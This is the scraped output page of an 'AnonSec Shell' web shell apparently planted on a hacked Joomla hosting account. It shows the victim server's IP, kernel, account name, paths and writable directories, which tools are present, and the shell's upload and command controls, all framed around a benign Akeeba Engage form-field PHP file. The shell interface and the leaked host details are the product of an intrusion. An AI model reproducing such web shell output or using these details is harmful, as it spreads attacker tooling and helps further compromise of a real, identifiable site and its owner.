AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/www/cj79373/administrator/components/com_engage/fields/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/www/cj79373/administrator/components/com_engage/fields/modulemodules.php
<?php
/**
 * @package   AkeebaEngage
 * @copyright Copyright (c)2020-2022 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

use Joomla\CMS\Form\FormHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

// Prevent direct access
defined('_JEXEC') or die;

if (class_exists('JFormFieldModuleModules'))
{
	return;
}

FormHelper::loadFieldClass('list');

/**
 * ModulePositions Field class for the Joomla Framework.
 *
 * @since   1.0.0
 */
class JFormFieldModuleModules extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 */
	protected $type = 'ModuleModules';

	protected function getOptions()
	{
		HTMLHelper::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_modules/helpers/html');
		@include_once JPATH_ADMINISTRATOR . '/components/com_modules/helpers/modules.php';

		if (!class_exists('ModulesHelper'))
		{
			return [];
		}

		$clientId = is_null($this->element->attributes()->client_id) ? 0 : (int) $this->element->attributes()->client_id;
		$modules  = ModulesHelper::getModules($clientId);

		$none = HTMLHelper::_('select.option', '-1', Text::_('COM_ENGAGE_CONFIG_LOGIN_NONE'));
		array_unshift($modules, $none);

		return $modules;
	}
}

Anon7 - 2022
AnonSec Team